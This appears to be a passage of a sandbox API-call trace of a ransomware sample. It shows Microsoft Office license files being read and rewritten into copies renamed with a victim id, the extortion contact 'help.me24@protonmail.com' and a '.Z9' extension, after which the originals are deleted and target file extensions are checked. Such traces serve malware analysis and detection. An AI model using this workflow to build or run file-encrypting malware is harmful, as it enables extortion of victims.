	[0184.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.314] GetLastError () returned 0x0
	[0184.314] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x679e, lpOverlapped=0x0) returned 1
	[0184.450] WriteFile (in: hFile=0x530, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0184.451] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.452] WriteFile (in: hFile=0x530, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10a, lpOverlapped=0x0) returned 1
	[0184.452] SetEndOfFile (hFile=0x530) returned 1
	[0184.452] CloseHandle (hObject=0x530) returned 1
	[0184.452] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.452] SetEndOfFile (hFile=0x55c) returned 1
	[0184.455] CloseHandle (hObject=0x55c) returned 1
	[0184.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 1
	[0185.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.119] lstrlenW (lpString=".doc") returned 4
	[0185.119] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0185.119] lstrlenW (lpString=".docx") returned 5
	[0185.119] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0185.119] lstrlenW (lpString=".pdf") returned 4
	[0185.119] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0185.119] lstrlenW (lpString=".xls") returned 4
	[0185.119] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0185.119] lstrlenW (lpString=".xlsx") returned 5
	[0185.119] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0185.119] lstrlenW (lpString=".ppt") returned 4
	[0185.119] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0185.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.119] lstrlenW (lpString=".zip") returned 4
	[0185.119] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0185.119] lstrlenW (lpString=".rar") returned 4
	[0185.119] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0185.119] lstrlenW (lpString=".bz2") returned 4
	[0185.119] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0185.119] lstrlenW (lpString=".7z") returned 3
	[0185.119] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0185.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.119] lstrlenW (lpString=".dbf") returned 4
	[0185.119] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0185.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.120] lstrlenW (lpString=".1cd") returned 4
	[0185.120] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0185.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.120] lstrlenW (lpString=".jpg") returned 4
	[0185.120] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0185.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.120] lstrlenW (lpString=".doc") returned 4
	[0185.120] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0185.120] lstrlenW (lpString=".docx") returned 5
	[0185.120] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0185.120] lstrlenW (lpString=".pdf") returned 4
	[0185.120] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0185.120] lstrlenW (lpString=".xls") returned 4
	[0185.120] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0185.120] lstrlenW (lpString=".xlsx") returned 5
	[0185.120] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0185.120] lstrlenW (lpString=".ppt") returned 4
	[0185.120] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0185.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.120] lstrlenW (lpString=".zip") returned 4
	[0185.120] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0185.120] lstrlenW (lpString=".rar") returned 4
	[0185.120] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0185.120] lstrlenW (lpString=".bz2") returned 4
	[0185.120] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0185.121] lstrlenW (lpString=".7z") returned 3
	[0185.121] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0185.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.121] lstrlenW (lpString=".dbf") returned 4
	[0185.121] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0185.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.121] lstrlenW (lpString=".1cd") returned 4
	[0185.121] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0185.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0185.121] lstrlenW (lpString=".jpg") returned 4
	[0185.121] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0185.121] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0185.121] lstrlenW (lpString="MondoVL_MAK-ul-phn.xrm-ms") returned 25
	[0185.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0185.359] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=19921) returned 1
	[0185.359] CloseHandle (hObject=0x570) returned 1
	[0185.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 0x220
	[0186.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0186.853] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.853] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0186.922] GetLastError () returned 0x0
	[0186.922] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x4dd1, lpOverlapped=0x0) returned 1
	[0187.004] WriteFile (in: hFile=0x330, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0187.015] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.016] WriteFile (in: hFile=0x330, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x106, lpOverlapped=0x0) returned 1
	[0187.016] SetEndOfFile (hFile=0x330) returned 1
	[0187.016] CloseHandle (hObject=0x330) returned 1
	[0187.016] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.016] SetEndOfFile (hFile=0x37c) returned 1
	[0187.192] CloseHandle (hObject=0x37c) returned 1
	[0187.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 1
	[0187.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.196] lstrlenW (lpString=".doc") returned 4
	[0187.196] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.196] lstrlenW (lpString=".docx") returned 5
	[0187.196] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.196] lstrlenW (lpString=".pdf") returned 4
	[0187.196] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.196] lstrlenW (lpString=".xls") returned 4
	[0187.196] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.196] lstrlenW (lpString=".xlsx") returned 5
	[0187.197] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.197] lstrlenW (lpString=".ppt") returned 4
	[0187.197] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.197] lstrlenW (lpString=".zip") returned 4
	[0187.197] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString=".rar") returned 4
	[0187.197] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString=".bz2") returned 4
	[0187.197] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString=".7z") returned 3
	[0187.197] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.197] lstrlenW (lpString=".dbf") returned 4
	[0187.197] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.197] lstrlenW (lpString=".1cd") returned 4
	[0187.197] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.197] lstrlenW (lpString=".jpg") returned 4
	[0187.197] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.197] lstrlenW (lpString=".doc") returned 4
	[0187.197] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString=".docx") returned 5
	[0187.197] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.197] lstrlenW (lpString=".pdf") returned 4
	[0187.197] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString=".xls") returned 4
	[0187.197] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString=".xlsx") returned 5
	[0187.197] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.197] lstrlenW (lpString=".ppt") returned 4
	[0187.197] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.198] lstrlenW (lpString=".zip") returned 4
	[0187.198] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.198] lstrlenW (lpString=".rar") returned 4
	[0187.198] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.198] lstrlenW (lpString=".bz2") returned 4
	[0187.198] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.198] lstrlenW (lpString=".7z") returned 3
	[0187.198] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.198] lstrlenW (lpString=".dbf") returned 4
	[0187.198] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.198] lstrlenW (lpString=".1cd") returned 4
	[0187.198] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0187.198] lstrlenW (lpString=".jpg") returned 4
	[0187.198] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.198] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.198] lstrlenW (lpString="O365BusinessR_Subscription-ul-oob.xrm-ms") returned 40
	[0187.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.199] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11647) returned 1
	[0187.199] CloseHandle (hObject=0x37c) returned 1
	[0187.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 0x220
	[0187.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.200] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.200] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0187.201] GetLastError () returned 0x0
	[0187.201] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d7f, lpOverlapped=0x0) returned 1
	[0187.247] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0187.248] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.248] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x124, lpOverlapped=0x0) returned 1
	[0187.248] SetEndOfFile (hFile=0x55c) returned 1
	[0187.248] CloseHandle (hObject=0x55c) returned 1
	[0187.249] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.249] SetEndOfFile (hFile=0x37c) returned 1
	[0187.251] CloseHandle (hObject=0x37c) returned 1
	[0187.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 1
	[0187.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.253] lstrlenW (lpString=".doc") returned 4
	[0187.253] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.253] lstrlenW (lpString=".docx") returned 5
	[0187.253] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.253] lstrlenW (lpString=".pdf") returned 4
	[0187.253] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.253] lstrlenW (lpString=".xls") returned 4
	[0187.253] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.253] lstrlenW (lpString=".xlsx") returned 5
	[0187.253] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.253] lstrlenW (lpString=".ppt") returned 4
	[0187.253] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.253] lstrlenW (lpString=".zip") returned 4
	[0187.253] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.253] lstrlenW (lpString=".rar") returned 4
	[0187.253] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.253] lstrlenW (lpString=".bz2") returned 4
	[0187.253] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.253] lstrlenW (lpString=".7z") returned 3
	[0187.253] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.253] lstrlenW (lpString=".dbf") returned 4
	[0187.253] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.253] lstrlenW (lpString=".1cd") returned 4
	[0187.253] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.254] lstrlenW (lpString=".jpg") returned 4
	[0187.254] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.254] lstrlenW (lpString=".doc") returned 4
	[0187.254] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString=".docx") returned 5
	[0187.254] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.254] lstrlenW (lpString=".pdf") returned 4
	[0187.254] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString=".xls") returned 4
	[0187.254] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString=".xlsx") returned 5
	[0187.254] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.254] lstrlenW (lpString=".ppt") returned 4
	[0187.254] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.254] lstrlenW (lpString=".zip") returned 4
	[0187.254] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString=".rar") returned 4
	[0187.254] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString=".bz2") returned 4
	[0187.254] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString=".7z") returned 3
	[0187.254] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.254] lstrlenW (lpString=".dbf") returned 4
	[0187.254] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.254] lstrlenW (lpString=".1cd") returned 4
	[0187.254] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0187.254] lstrlenW (lpString=".jpg") returned 4
	[0187.254] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.255] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.255] lstrlenW (lpString="O365BusinessR_SubTest-ppd.xrm-ms") returned 32
	[0187.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.256] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=22465) returned 1
	[0187.256] CloseHandle (hObject=0x37c) returned 1
	[0187.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 0x220
